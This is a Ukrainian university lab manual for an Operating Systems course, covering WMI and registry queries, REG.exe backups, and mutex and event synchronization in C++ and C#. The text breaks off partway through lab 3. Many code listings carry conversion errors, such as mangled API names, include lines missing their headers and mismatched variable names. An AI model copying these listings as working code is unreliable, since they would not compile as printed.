Uploaded by unifit114

Операційні системи (рекомандации к лаб работам)

advertisement
Хмельницький національний університет
Операційні системи
Методичні вказівки до лабораторних робіт
для студентів спеціальності “інженерія програмного
забезпечення”
Затверджено на засіданні
кафедри інженерії.
програмного забезпечення
Протокол №15 від 16.06.2016р.
Хмельницький 2016
Зміст
Вступ ............................................................................................................ 3
Лабораторна робота № 1 ............................................................................ 4
ОТРИМАННЯ КОНФІГУРАЦІЇ КОМП’ЮТЕРА ................................... 4
З ВИКОРИСТАННЯМ ФУНКЦІЙ WINDOWS API, ............................... 4
РЕЄСТРУ ОПЕРАЦІЙНОЇ СИСТЕМИ WINDOWS, ЗА
ДОПОМОГОЮ WMI-ІНТЕРФЕЙСУ ....................................................... 4
1.1.
Короткі теоретичні відомості ................................................... 4
1.1.1. Реєстр Windows ........................................................................ 4
1.1.2. Використання функцій Windows API ..................................... 5
1.1.3. Використання WMI-інтерфейсу ............................................. 6
Лабораторна робота № 2 .......................................................................... 13
ВИЗНАЧЕННЯ конфігурації ................................................................... 13
І ОСНОВНИХ ХАРАКТЕРИСТИК ЕОМ............................................... 13
2.1. Короткі теоретичні відомості ....................................................... 13
2.1.1. утиліта Reg .............................................................................. 13
2.1.2. Можливості сервера сценарію для роботи з реєстром........ 15
Лабораторна робота № 3 .......................................................................... 17
СИНХРОНІЗАЦІЯ ПРОЦЕСІВ І ПОТОКІВ .......................................... 17
ЗА ДОПОМОГОЮ семафорів і м'ютексів.............................................. 17
3.1. теоретичні відомості ..................................................................... 17
3.1.1. Об'єкти синхронізації і функції очікування в Windows ...... 17
3.1.2. М’ютекси в Windows ............................................................. 18
3.1.3. Події ........................................................................................ 21
3.1.4. Семафори ................................................................................ 25
3.1.5. Семафори в Windows ............................................................. 26
Лабораторна робота № 4 .......................................................................... 33
УПРАВЛІННЯ ПАМ'ЯТТЮ В WINDOWS ........................................... 33
4.1. Короткі теоретичні відомості ....................................................... 33
4.1.1. Модель віртуальної пам'яті Windows ................................... 33
4.1.2. Функції віртуальної пам’яті .................................................. 33
Лабораторна робота № 5 .......................................................................... 38
КЕРУВАННЯ ВИВОДОМ ....................................................................... 38
ГРАФІЧНОЇ І ТЕКСТОВОЇ ІНФОРМАЦІЇ ............................................ 38
НА ОСНОВІ БІБЛІОТЕК GDL ................................................................ 38
5.1. теоретичні відомості ..................................................................... 38
5.1.1. Графічний пристрій і його контекст ..................................... 38
5.1.2. Атрибути системи координат, їх вплив на висновок
інформації ......................................................................................... 39
5.1.3. Шрифти, класифікація, параметри шрифту, установка в
контекст пристрою ........................................................................... 40
1
5.1.4. Атрибути контексту пристрою, що впливають на висновок
тексту ................................................................................................ 41
5.1.5. Методи GDI для виведення тексту і векторної графіки ..... 41
Лабораторна робота № 6 .......................................................................... 44
ДІАГНОСТИКА IP-Протоколу ............................................................... 44
6.1. Короткі теоретичні відомості ....................................................... 44
6.1.1. Системна команда PING ........................................................ 44
6.1.2. Системна команда IPCONFIG ............................................... 46
6.1.3. Системна команда Net view .................................................. 48
6.1.4. Утиліта PathPing ..................................................................... 48
6.1.5. Трасування .............................................................................. 49
Лабораторна робота № 7 .......................................................................... 51
ЗАСОБИ ЗАХИСТУ ОПЕРАЦІЙНОЇ СИСТЕМИ. КОМП'ЮТЕРНІ
ВІРУСИ...................................................................................................... 51
7.1. Короткі теоретичні відомості ....................................................... 51
7.1.1. Впровадження вірусу в файл. ............................................... 51
7.1.2. Основні функції вірусів категорії Companion ..................... 52
2
Вступ
Дисципліна «Операційні системи» входить у базову частину
Професійного циклу дисциплін по напрямку підготовки «Інженерія
програмного забезпечення» і вивчається на другому курсі (четвертий
семестр). Освоєння дисципліни базується на знаннях вузівської
програми основ програмування.
Метою лабораторних робіт є вивчення типових механізмів,
технологій, протоколів взаємодії різноманітних компонент операційної
системи, як на рівні ядра, так і на рівні користувача.
Для захисту лабораторної роботи студенту потрібно
підготувати звіт, який має містити:
– титульний аркуш із зазначенням назви і теми роботи;
– завдання роботи;
– теоретичні відомості, необхідні для реалізації поставленої задачі;
– опис порядку виконання роботи;
– результат виконання (копії екрана з результатами);
– висновок, який включає опис виконаної роботи та досягнутих
результатів.
Оцінку “відмінно” отримує студент, який повністю виконав
завдання, опанував зміст навчального матеріалу та продемонстрував
здатність до практичного виконання поставлених завдань.
Оцінку “добре” отримує студент, який повністю виконав
завдання, однак під час його практичного вирішення допустив окремі
неточності.
Оцінку “задовільно” отримує студент, який повністю виконав
завдання, але набуті ним знання та навички відповідають мінімальним
критеріям оцінювання.
3
Лабораторна робота № 1
ОТРИМАННЯ КОНФІГУРАЦІЇ КОМП’ЮТЕРА
З ВИКОРИСТАННЯМ ФУНКЦІЙ WINDOWS API,
РЕЄСТРУ ОПЕРАЦІЙНОЇ СИСТЕМИ WINDOWS, ЗА
ДОПОМОГОЮ WMI-ІНТЕРФЕЙСУ
Мета роботи: використовуючи функції Windows API, реєстру
операційної системи Windows і за допомогою WMI-інтерфейсу
отримати Конфігурація комп’ютера.
1.1. Короткі теоретичні відомості
1.1.1. Реєстр Windows
Для отримання інформації про комплектуючих комп’ютера в
операційної системі MS Windows існують три основні способи:
читання конфігурації з реєстру, виклик спеціальних функцій Windows
API, використання спеціального WMI-інтерфейсу.
Розглянемо ці методи більш докладно.
Визначення: Системний реєстр Windows - це велика база
даних, в якій записані настройки як самої операційної системи, так і
додатків, в ній встановлених.
Існує три типи параметри системного реєстру, а також шість
головних гілок, які містять певну частину інформації.
До параметрів системного реєстру можна віднести: строкові,
двійкові та DWORD.
Розглянемо гілки реєстру:
HKEY_CLASSES_ROOT:
містить
дані
по
ярликах,
інформацію про OLE і всі типи асоціації до файлів;
HKEY_CURRENT_USER:
містить
зв’язок
з
гілкою
HKEY_USERS, відповідає користувачеві, який в даний час працює на
комп’ютері;
HKEY_LOCAL_MACHINE: тримає інформацію про типи
апаратних засобів, програмного забезпечення та інші налаштування
комп’ютера;
4
HKEY_USERS: містить індивідуальні налаштування кожного
користувача комп’ютера, кожен користувач представлений під ключем
SID, розташованим під головною гілкою;
HKEY_CURRENT_CONFIG:
пов’язана
з
гілкою
HKEY_LOCAL_MACHINE
і
відповідає
поточній
апаратної
конфігурації;
HKEY_DYN_DATA:
пов’язана
з
частиною
HKEY_LOCAL_MACHINE, служить для використання Plug-&-Play в
Windows, цей розділ може динамічно змінюватися, якщо пристрої
додаються і видаляються з системи.
Рисунок 1.1 – Редактор реєстра
1.1.2. Використання функцій Windows API
Визначення: Windows API (application programming interfaces) набір базових функцій інтерфейсів програмування додатків
операційних систем сімейств Windows і Windows NT корпорації
Майкрософт.
Windows API був спочатку спроектований для використання в
програмах, написаних на мові C (або C ++). Робота через Windows API
5
- це найбільш близький до системи спосіб взаємодії з нею прикладних
програм.
1.1.3. Використання WMI-інтерфейсу
Визначення: WMI (Windows management instrumentation
interface) - відкрита уніфікована бібліотека (репозиторій) однотипних
інтерфейсів доступу до розділів, налаштувань і властивостей різних
систем Windows і їх компонентів.
WMI надає розширений набір інструментальних засобів
виконання будь-якого завдання управління для більшості потужних
додатків (наприклад, Microsoft Exchange, Microsoft SQL Server і
інформаційних служб в Microsoft Internet (IIS)).
Для отримання інформації з WMI за допомогою скриптів або
додатків необхідно виконати наступні дії:
1) вибрати мову програмування. Для використання WMI існує
велика кількість мов і технологій програмування;
2) на локальному або віддаленому комп’ютері підключитися
до WMI;
3) отримати інформацію після підключення можна за
допомогою запитів і перерахувань, методів і властивостей об’єктів, що
представляються провайдерами WMI.
Приклад 1. Нижче наводиться лістинг програми на С ++,
написаної для отримання даних за допомогою WMI. Програма отримує
тип і версію операційної системи, наочно демонструє, як за допомогою
технології COM отримати доступ до просторів імен WMI і зчипати
необхідні дані.
#define WIN32 DCOM #include
using namespace std;
#include
#include
#pragma comment(lib, ”wbemuuid.lib”) int main(int argc, char **argv)
{
HRESULT hres;
// Крок 1:
// ініціалізувати COM.
hres = Coinitializeex(0, COINIT MULTITHREADED); if (FAILED(hres))
6
{
cout << ” Не Вдалося Ініціалізувати бібліотеку COM. Помилка коду = 0x”
<< hex << hres << endl;
return 1; // Програма провалилася.
}
// Крок 2:
// Установити загальні COM рівні безпеки
// Примітка: Вам необхідно вказати - за замовчуванням облікові дані для
//аутентифікації користувача за допомогою
// SOLE AUTHENTICATION LISTструктури в pauthlist —
// параметр Coinitializesecurity
hres = Coinitializesecurity(
NULL,
-1, // перевірка дійсності COM
NULL, // Служби перевірки дійсності NULL,
RPC C AUTHN LEVEL DEFAULT, //Перевірка дійсності за замовчуванням
RPCCIMPLEVELIMPERSONATE, //Ідентифікація за замовчуванням
NULL, // Інформація по аутентифікації
EOACNONE, //Додаткові можливості
NULL
);
if (FAILED(hres))
{
cout << ” Не Вдалося безпечно ініціалізувати. Код помилки = 0х”
<< hex << hres << endl;
Co Uninitialize();
return 1; // Програма закінчена.
}
//Крок 3:
// Одержання первинного локатора для WMI
Iwbemlocator *ploc = NULL;
hres = Cocreateinstance(
Clsidwbemlocator,
0,
CLSC TXINPROCSER VER,
IID Iwbemlocator, (LPVOID *) &ploc);
if (FAILED(hres))
{
cout << ” Не Вдалося створити Iwbemlocator об’єкт.”
<< ” Помилка коду = 0x”
<< hex << hres << endl;
Co Uninitialize();
return 1; // Завершення програми.
}
// Крок 4:
7
// Підключення до WMI через Iwbemlocator::Connectserver метод
Iwbemservices *psvc = NULL;
//Підключитися до простору імен root\cimv2
// поточного користувача й одержати покажчик psvc.
hres = ploc->Connectserver(
_bstr_t(L”ROOT\\CIMV2”), //Шлях до об’єкта WMI
NULL, // Ім’я користувача. NULL = поточний користувач.
NULL, //Пароль користувача. NULL = поточний пароль.
0,
NULL,
0,
0,
&psvc //покажчик Iwbemservices proxy );
if (FAILED(hres))
{
cout << " Не Вдалося підключитися. Помилка коду = 0x”
<< hex << hres << endl; ploc->Release();
Co Uninitialize();
return 1; // Завершення програми.
}
cout << ‘‘Підключений до ROOT\\CIMV2 WMI ” << endl;
// Крок 5:
// Установити рівень безпеки на проксі
hres = Cosetproxyblanket( psvc, // Покажчик на проксі
RPC_C_AUTHN_WINNT, // RPC_C_AUTHN_xxx
RPC_C_AUTHZ_NONE, // RPC_C_AUTHZ_xxx
NULL, // Им’я участника на сервері
RPC_C_AUTHN_LEVEL_CALL, // RPC_C_AUTHN_LEVEL_xxx
RPC_C_IMP_LEVEL_IMPERSONATE, // RPC_C_IMP_LEVEL_xxx
NULL, // ідентифікація клієнта
EOAC_NONE // проксі можливості
);
if (FAILED(hres))
{
cout << ”Не вдалося встановити безпеку на сервері. Помилка коду= 0x’’
<< hex << hres << endl;
psvc->Release();
ploc->Release();
Co Uninitialize();
return 1; // Завершення програми.
}
// Крок 6:
// Використовувати Iwbemservices покажчик щоб зробити запити WMI -// наприклад на одержання імені операційної системи
IEnumWbemClassObject* pEnumerator = NULL;
8
hres = pSvc->ExecQuery(
bstr_t("WQL"),
bstr_t("SELECT * FROM Win32_OperatingSystem"),
WBEM_FLAG_FORWARD_ONLY |
WBEM_FLAG_RETURN_IMMEDIATELY,
NULL,
&pEnumerator);
if (FAILED(hres))
{
cout << "Ім’я операційної системи не отримано."
<< " помилка коду = 0x"
<< hex << hres << endl;
pSvc->Release();
pLoc->Release();
CoUninitialize();
return 1; // Програма завершена.
}
// Крок 7: ------------------------------------------------// Отримати дані з запиту в кроці 6 ------------------IWbemClassObject *pclsObj;
ULONG uReturn = 0;
while (pEnumerator)
{
HRESULT hr = pEnumerator->Next(WBEM_INFINITE, 1,
&pclsObj, &uReturn);
if(0 == uReturn)
{
break;
}
VARIANT vtProp;
VariantInit(&vtProp);
// Отримати значення властивості Name
hr = pclsObj->Get(L"Name", 0, &vtProp, 0, 0);
wcout << " OS Name : " << vtProp.bstrVal << endl;
VariantClear(&vtProp);
}
// Очистка екрана
// ========
pSvc->Release();
pLoc->Release();
pEnumerator->Release();
pclsObj->Release();
CoUninitialize();
return 0; // Програма завершена.
}
9
З лістингу програми видно, що вона розбита на 7 кроків:
Крок 1. За допомогою виклику CoInitializeEx () відбувається
ініціалізація COM.
Крок 2. Викликом функції CoInitializeSecurity відбувається
установка рівня безпеки для СОМ.
Крок 3. За допомогою функції CoCreateInstance - створення
покажчика для WMI.
Крок 4. Отримання покажчика на інтерфейс IWbemServices
для простору імен root \ cimv2 на локальному комп’ютері шляхом
виклику WbemLocator :: ConnectServer.
Крок 5. Для IWbemServices встановити безпеку проксі.
Крок 6. Для формування запитів WMI використання
покажчика на IWbemServices. У нашому прикладі формується запит
імені операційної системи шляхом виклику функції IWbemServices ::
ExecQuery і передачі в якості одного з параметрів рядка WQL-запиту:
SELECT * FROM Win32_OperatingSystem.
Результат запиту отримують за допомогою інтерфейсу
EnumWbemClassObject.
Крок 7. Використання інтерфейсу IWbemClassObject і його
методу Get для отримання і відображення інформації з запиту.
Використання мови C # і класів з простору імен
System.Management отримання інформації про конфігурацію
комп’ютера спрощується. Користувач за допомогою WMI може
стежити за станом додатку, ходом його роботи і конфігурацією. Ці
можливості
підтримуються
набором
багатофункціональних
інструментів WMI, вбудованих в середовище розробки Microsoft
Visual Studio .NET.
В результаті можемо отримати таку інформацію про систему:
10
Рисунок 1.2 – Інформація про систему
Приклад 2. Програма написана на коді С # і призначена для
отримання інформації про материнську плату, встановленої на
комп’ютері:
using System;
using System.Management;
using System.Windows.Forms;
namespace WMISample
{
public class MyWMIQuery
{
public static void Main()
{
try
{
ManagementObjectSearcher searcher =
new ManagementObjectSearcher("root\\CIMV2",
11
"SELECT * FROM Win32_BaseBoard");
foreach (ManagementObject queryObj in searcher.Get())
{
Console.WriteLine("-----------------------------------");
Console.WriteLine("Производитель платы: " + queryObj["Manufacturer"]);
Console.WriteLine("Модель: " + queryObj["Product"]);
Console.WriteLine("Серийный номер: " + queryObj["SerialNumber"]);
Console.WriteLine("-----------------------------------");
Console.WriteLine("Вся информация, доступная о материнской плате:");
Console.WriteLine(queryObj.GetText(TextFormat.Mof));
}
}
catch (ManagementException e)
{
MessageBox.Show("Во время выполнения WMI запроса возникла ошибка: "
+ e.Message);
}
Console.WriteLine("Press any key");
Console.ReadKey();
}
}
}
Завдання на лабораторну роботу
Визначте конфігурацію тестового комп’ютера.
Для цього необхідно розробити програмне забезпечення на С ++
чи C #, яке буде:
1) використовувати можливості WMI-інтерфейсу;
2) використовувати функції Windows API;
3) зчитувати з реєстру MS Windows інформацію про
конфігурацію комп’ютера.
Контрольні питання
1. Що називається реєстром Windows? Яка інформація в ньому
зберігається?
2. Опишіть ключі реєстру, що містять відомості про
конфігурацію комп'ютера.
3. Як отримати доступ до ключів реєстру? Дайте визначення
Windows API. З якою метою він використовується?
12
4. Перерахуйте функції Windows API, які служать для
отримання інформації про пристрої комп'ютера.
5. Яка структура і призначення WMI інтерфейсу?
6. Як здійснюється програмний доступ до об'єктів WMI?
7. Дайте визначення Moniker string.
8. У чому полягають особливості мови WQL в порівнянні з
мовою SQL?
9. Наведіть порівняльну характеристику трьох вивчених методів
отримання інформації про конфігурацію комп'ютера.
Література: [1; 3; 4]
Лабораторна робота № 2
ВИЗНАЧЕННЯ конфігурації
І ОСНОВНИХ ХАРАКТЕРИСТИК ЕОМ
Мета роботи: вивчити структуру реєстру Windows XP / 7,
способи резервування даних реєстру, можливості сервера сценаріїв по
роботі з реєстром.
2.1. Короткі теоретичні відомості
2.1.1. утиліта Reg
Утиліта Reg.exe, входить в набір основних програм Windows.
Вона дозволяє працювати з елементами реєстру, а саме додавати,
редагувати, видаляти і шукати розділи, виконувати їх резервне
копіювання і відновлення і робити інші операції. Утиліту Reg можна
запускати з командного будів-ки або з використанням командного
файлу, вона дозволяє виконувати опе-рації над реєстрами віддалених,
або локального комп'ютера.
Для роботи з реєстром з попередніх версій Resource Kit
утиліта Reg реалізує функціональні можливості наступних утиліт:
REGCHG.EXE,
REGDELEXE,
REGDIR.EXE,
REGREAD.EXE,
REGSEC.EXE, RESTKEY.EXE, RREGCHG.EXE, і SAVEKEY.EXE.
13
Для резервного копіювання та відновлення реєстру
розглянемо команди (типи операцій) утиліти Reg: REG SAVE і REG
BACKUP
Ці команди копіюють розділ реєстру або вказаний елемент в
файл. Перед внесенням змін до реєстру необхідно здійснити його
резервне копіювання, або копіювання частин реєстру.
Команда REG SAVE може бути ідентична команді REG
BACKUP.
REG RESTORE - це команда, яка відновлює зазначений
суттєвий елемент, або розділ реєстру з файлу, створеного за
допомогою команд REG SAVE або REG BACKUP.
Команди REG SAVE і REG BACKUP мають наступний
синтаксис:
REG SAVE RegistryPath FileName [\\ Machine] REG BACKUP
RegistryPath FileName [\\ Machine]
де: RegistryPath - вказує шлях до елементу або розділу реєстру
в форматі
[ROOTKEY \] Key.
Параметр rootkey вказує кореневий розділ реєстру, що
підлягає збереженню (за замовчуванням цей параметр отримує
значення HKEY_LOCAL_MACHINE).
Використовуючи абревіатури, можна вказати в скороченому
форматі кореневий розділ реєстру:
HKEY_LOCAL_MACHINE – HKLM
HKEY_CURRENT_USER – HKCU
HKEY_CLASSES_ROOT – HKCR
HKEY_CURRENT_CONFIGURATION – HKCC
Key - параметр, який вказує повний шлях до розділу реєстру,
розміщеному під кореневим розділом, позначених параметром rootkey.
FileName - параметр, який вказує ім'я файлу (без розширення),
де зберігаються дані реєстру. (На локальному комп'ютері цей файл
зберігається в поточному каталозі. На віддаленому комп'ютері даний
файл зберігаються в каталозі Windows)
Machine - параметр, який вказує ім'я віддаленого комп'ютера
(за замовчуванням використовується локальний комп'ютер). Якщо
14
вказано ім'я для віддаленого комп'ютера, то слід використовувати
імена UNC (наприклад: \\ STATION1).
Примітка. На віддалених комп'ютерах доступні тільки розділи
HKLM і HKU. Команда reg restore підтримує наступний синтаксис:
REG RESTORE FileName KeyName [\\ Machine]
Тут
FileName - ім'я відновлюваного файлу (без розширення). Файл,
зазначений цим параметром, повинен бути створений командами REG
SAVE АБО REG BACKUP.
KeyName - ім'я розділу реєстру в форматі [ROOTKEY \] Key,
Key - повне ім'я розділу реєстру, розташованого в розділі
rootkey,
Machine - ім'я віддаленого комп'ютера в форматі ONC (за
замовчуванням буде використовуватися локальний комп'ютер).
2.1.2. Можливості сервера сценарію для роботи з реєстром
Для роботи з редагування реєстру WSH надає три метода:
читання, запис і видалення. Для роботи з ними потрібно вказувати
ключі для запису, читання або видалення.
Метод RegWrite використовується для запису до реєстру.
Синтаксис RegWrite:
object.RegWrite strName, anyValue [strType]
де:
object - об'єкт WshShell
strName - ключ або запис в реєстрі, куди проводиться запис
anyValue - записується значення
Існують наступні необов'язкові параметри:
strType - тип даних, в яких проводиться запис
RegRead - служить для читання даних з реєстру
синтаксис:
object.RegRead (strName)
де:
object - об'єкт WshShell
strName - ключ або запис для читання.
RegDelete - необхідний для видалення даних з реєстру
15
синтаксис:
object.RegDelete (strName)
де:
object - об'єкт WshShell
strName - ключ або запис для видалення.
Примітка. Коли після параметра strName, у всіх методах стоїть
коса риска ("\"), то це мається на увазі ключ, а не запис.
Завдання на лабораторну роботу
1. Створіть сценарій на C #, що виконує пошук заданого
користувачем розширення файлу в реєстрі. Якщо в реєстрі є
відповідний розділ, то необхідно вивести його значення.
Використовуйте обробку виняткових ситуацій.
2. Ознайомтеся з командами утиліти REG, запустивши її в
режимі командного рядка.
3. Створіть сценарій на C #, що забезпечує запуск утиліти REG
і виконує резервне копіювання частини реєстру, що містить такі
відомості з таблиці. Створіть на робочому столі ярлик для запуску
сценарію. Виводити інформацію, про відомостях, що копіюються і
файл, в який вони копіюються. Використовувати обробку виняткових
ситуацій.
Таблиця 2.1 – Варіанти завдань
№
Варіанту
1
2
3
4
5
6
7
8
9
Відомості про систему
Налаштування робочого столу користувача, на даний
момент зарейстрованого в системі
Отримати установки для профілю користувача за
замовчуванням
Дані про апаратні засоби комп'ютера
Відомості про профіль користувача
Дані про процесор
Дані про програмне забезпечення, встановлене на
комп'ютері
Дані про системну пам'ять комп'ютера
Дані про принтер, встановлений для поточного
користувача
Дані про материнський платі комп'ютера
16
Ідентифікація пристроїв, які не мають пізнавальних
знаків
11
Дані про USB-пристроях комп'ютера
12
Список встановленого ПЗ і оновлень
Контрольні питання
1. Наведіть визначення реєстру.
2. Назвіть розділи реєстру Windows. У чому їх призначення?
3. Наведіть послідовність дій для створення диска ава-рийного
відновлення реєстру Windows.
4. Як заборонити запуск Regedit?
5. З яких файлів складається реєстр Windows XP \ 7?
6. Опишіть структуру reg-файлу.
10
Література: [2; 3; 4]
Лабораторна робота № 3
СИНХРОНІЗАЦІЯ ПРОЦЕСІВ І ПОТОКІВ
ЗА ДОПОМОГОЮ семафорів і м'ютексів
Мета роботи: навчитися використовувати функції Win32 API,
призначе-значення для синхронізації процесів і потоків в Windows NT
/ 2000 / ХР / 7.
3.1. теоретичні відомості
3.1.1. Об'єкти синхронізації і функції очікування в Windows
Визначення. Об'єктами синхронізації називаються об'єкти
ядра, які можуть перебувати в одному з двох станів: сигнальному
(signaled) і несигнальному (nonsignaled).
Можна виділити три класи об'єктів синхронізації:
До першого класу відносяться об'єкти, які служать тільки для
вирішення проблеми синхронізації паралельних потоків. До таких
об’єктів синхронізації в Windows відносяться:
- М'ютекс (mutex);
17
- Подія (event);
- Семафор (semaphore).
До другого класу належить таймер очікування (waitable timer).
До третього класу належать об'єкти, які переходять в
сигнальний стан по завершенні своєї роботи або при отриманні
деякого повідомлення. Прикладами таких об'єктів синхронізації є
потоки і процеси. Поки ці об'єкти виконуються, вони знаходяться в
несигнальному стані. Якщо виконання цих об'єктів закінчується, то
вони переходять в сигнальний стан.
3.1.2. М’ютекси в Windows
Для вирішення проблеми взаємного виключення між
паралельними потоками, що виконуються в контексті різних процесів,
в операційних системах Windows використовується об'єкт ядра
м'ютекс.
Створюється м’ютекс викликом функції CreateMutex, яка має
наступний прототип:
HANDLE CreateMutex (
LPSECURITY_ATTRIBUTES lpMutexAttributes, // атрибути
захисту
BOOL bInitialOwner, // початковий власник мьютекса
LPCTSTR lpName // ім'я мьютекса
);
Поки значення параметра LPSECURITY_ATTRIBUTES
будемо встановлювати в NULL. Це означає, що атрибути захисту
задані по промовчуванню, тобто дескриптор м’ютекса не
успадковується, і доступ до м'ютексів мають всі користувачі.
Для того щоб отримати доступ до вже створеного м'ютексів,
потік може також використовувати функцію OpenMutex, яка має
наступний прототип:
HANDLE OpenMutex (
DWORD dwDesiredAccess, // доступ до м'ютексів
BOOL bInheritHandle // властивість наслідування
LPCTSTR lpName // ім'я мьютекса
);
18
Приклад 1. Використання м’ютекса для синхронізації потоків.
// Несинхронізовані потоки, що виконуються в різних процесах
#include <windows.h>
#include <iostream>
using namespace std;
int main()
{
int i,j;
for (j = 10; j < 20; j++)
{
for (i = 0; i < 10; i++)
{
cout << j << ' ';
cout.flush();
Sleep(5);
}
cout << endl;
}
return 0;
}
Приклад
процесів.
2.
Використання
м’ютекса
для
синхронізації
// Несинхронізовані потоки, що виконуються в різних процесах
#include <windows.h>
#include <iostream>
using namespace std;
int main()
{
char lpszAppName[] = "D:\\os.exe";
STARTUPINFO si;
PROCESS_INFORMATION pi;
ZeroMemory(&si, sizeof(STARTUPINFO));
si.cb = sizeof(STARTUPINFO);
// створюєм новий консольний процес
if (!CreateProcess(lpszAppName, NULL, NULL, NULL, FALSE,
NULL, NULL, NULL, &si, &pi))
{
cout << "The new process is not created." << endl;
cout << "Press any key to exit." << endl;
cin.get();
return GetLastError();
}
// виводимо на екран строки
19
for (int j = 0; j < 10; j++)
{
for (int i = 0; i < 10; i++)
{
cout << j << ' ';
cout.flush();
Sleep(10);
}
cout << endl;
}
// чикаємо поки дочірній процес завершить роботу
WaitForSingleObject(pi.hProcess, INFINITE);
// закриваємо дескриптори дочірнього процесу в поточному процесі
CloseHandle(pi.hThread);
CloseHandle(pi.hProcess);
return 0;
}
Приклад 3. Синхронізація потоків, що виконуються в різних
процесах, з використанням м’ютекса.
#include <windows.h>
#include <iostream>
using namespace std;
int main()
{
HANDLE hMutex;
int i,j;
// відкриваєм м’ютекс
hMutex = OpenMutex(SYNCHRONIZE, FALSE, "DemoMutex");
if (hMutex == NULL)
{
cout << "Open mutex failed." << endl;
cout << "Press any key to exit." << endl;
cin.get();
return GetLastError();
}
for (j = 10; j < 20; j++)
{
// захоплюємо м’ютекс
WaitForSingleObject(hMutex, INFINITE);
for (i = 0; i < 10; i++)
{
cout << j << ' ';
cout.flush();
Sleep(5);
}
20
cout << endl;
// звільняємо м’ютекс
ReleaseMutex(hMutex);
}
// закриваємо дескриптор єб’єкту
CloseHandle(hMutex);
return 0;
}
3.1.3. Події
Визначення. Події - різновид об'єктів ядра. Вони містять
лічильник числа користувачів (як і всі об'єкти ядра) і дві булеві
змунніі: одна повідомляє тип даного об'єкта-події, інша - його стан
(вільний або зайнятий).
Події просто повідомляють про закінчення будь-якої операції.
Об'єкти-події бувають двох типів: зі скиданням вручну (manual-reset
events) і з автоскиданням (auto-reset events). Перші дозволяють
відновлювати виконання відразу декількох чекаючих потоків, другі тільки одного.
Об'єкт ядра «подія» створюється функцією CreateEvent:
HANDLE CreateEvent (
PSECURITY_ATTRIBUTES psa,
BOOL fManualReset,
BOOL fInitialState,
PCTSTR pszName);
Параметр fManualReset (булева змінна) повідомляє системі,
яку подію слід створити - зі скиданням вручну (TRUE) або з
автоскиданням (FALSE). Параметр fInitialState визначає початковий
стан події - вільний (TRUE) або зайнятий (FALSE). Після того як
система створює об'єкт «подія», CreateEvent повертає описувач події,
специфічний для конкретного процесу.
Для подій з автоскиданням діє наступне правило. Коли його
очікування потоком успішно завершується, цей об'єкт автоматично
скидається в зайнятий стан.
Приклад 4. Синхронізація потоків з використанням об'єкта
ядра «подія».
// Глобальне опис події зі скиданням вручну (в зайнятому стані)
HANDLE g_hEvent;
21
int WINAPI WinMain(){
// створюєм об’єкт подія зі скиданням вручну (в заданому стані)
g_hEvent = CreateEvent(NULL, TRUE, FALSE, NULL);
// створюємо 3 нових потоки
HANDLE hThread[3];
DWORD dwThreadTD;
hThread[0] = _beginthreadex(NULL,0,WordCount,NULL,0,&dwThreadlD);
hThread[1] = _beginthreadex(NULL,0,SpellCheck,NULL,0,&dwThreadID);
hTbread[2] = _beginthreadex(NULL,0,GrarrmarCheck,NULL,0,&dwThreadID);
OpenFileAndReadContentsIntoMemory();
// дозволяєм всім потокам звертатись до пам’яті
SetEvent(g__hEvent),
}
DWORD WINAPI WordCount(PVOID pvParam)
{
// очікування завантаження даних з файла в пам’ть
WaitForSingleObject(g_hEvent, INFINITE);
// звертання до блоку пам’яті
return(0);
}
DWORD WINAPI SpellCheck(PVOID pvParam)
{
//очікування завантаження даних з файлу
WaitForSingleObject(g_hFvent, INFINITE);
// звернення до блоку пам’яті
return(0};
}
DWORD WINAPI GrammarCheck(PVOID pvParam)
{
// очікуємо коли в пам’ять будуть завантажені дані з файлу
WaitForSingleObject(g_hFvent, INFINITE);
// звернення до блоку пам’яті
return(0);
}
При запуску цей процес створює зайняту подію зі скиданням
вручну і записує її описувач в глобальну змінну.
Приклад 5. Використання об'єктів-подій для синхронізації
завдань, що належать різним процесам. Для цього створимо два
додатки. Перший додаток СЕРВЕР, запускається першим і його
завдання полягає у тому, щоб стежити за роботою другого додатка
КЛІЄНТА. Додаток КЛІЄНТ дозволяє вводити за допомогою
22
клавіатури і відображати в своєму вікні довільні символи. Кожен раз,
коли користувач вводить у вікні програми КЛІЄНТ який-небудь
символ, у вікні контролюючого додатки СЕРВЕР відображається
символ "*".
Додаток «КЛІЄНТ»
#include <windows.h>
#include <stdio.h>
#include <conio.h>
int main()
{
// відкриваєм подію start, створену сервером
HANDLE hStart = OpenEvent(
EVENT_ALL_ACCESS, // тип доступу до події
// повний доступ
TRUE,
START // Им’я події
);
// якщо подія не відкрилась успішно, то сервер не запущений
if (!hStart)
{
printf("No connection...\n");
return -1;
}
// подія Press буде повідомляти серверу про натискання клавіші
HANDLE hPress = CreateEvent(
NULL, // атрибути безпеки (як і в процесу)
FALSE, // ручний скид, тобто чи буде подія автоматично
// Переходити в несигнальний стан
// Після вдалого виклику
// WaitForSingleObject і т.п.
// Або його треба скинути вручну
// (Автоматичне скидання)
FALSE, // початковий стан (несигнальний)
PRESS // ім’я
);
// Подія Show буде повідомляти клієнтові про друк сервером '*'
HANDLE hShow = OpenEvent(EVENT_ALL_ACCESS,TRUE,SHOW);
// Подія Work буде повідомляти серверу про те, що клієнт ще працює
// Після закінчення роботи клієнт скидає Work в несигнальний стан
// І сервер завершує роботу
// Подія Work створюється без автоматичного переключення
параметру)
HANDLE hWork = CreateEvent(NULL,TRUE,TRUE,WORK);
//Говоримо серверу, що готові до роботи, тобто
23
(2-го
// Встановлюємо подію Start в сигнальний стан
SetEvent (hStart);
// Подія Start нам більше не потрібна, закриваємо його
CloseHandle (hStart);
// Цикл зчитування натискання клавіш, поки не натиснута кнопка
Esc (Code = 27)
BYTE ch;
while ((ch = LOBYTE(LOWORD(getch())))!=27)
{
if (ch==13) // Натиснутий Enter (Code = 13)
{
printf("\n");
}
Else
{
printf("%c",ch);
}
// вказуємо серверу що кнопка натиснута
SetEvent(hPress);
// очікуємо поки сервер відобразить '*'
WaitForSingleObject(hShow,INFINITE);
}
// скидаємо подію Work (переводимо в несигнальний стан)
// тим самим пропонуємо серверу завершити роботу
ResetEvent(hWork);
// В даний момент сервер все ще чекає події Press
SetEvent(hPress);
// Закриваємо створені і відкриті події
CloseHandle(hPress);
CloseHandle(hShow);
CloseHandle(hWork);
return 0;
}
Додаток «СЕРВЕР»
#include <windows.h>
#include <stdio.h>
#include <conio.h>
int main()
{
// Створюємо подію Start в сигнальному стані
HANDLE hStart = CreateEvent(NULL,FALSE,FALSE,START);
// Створюємо подію Show, яка буде говорити клієнту про те, що
// Сервер надрукував символ '*'
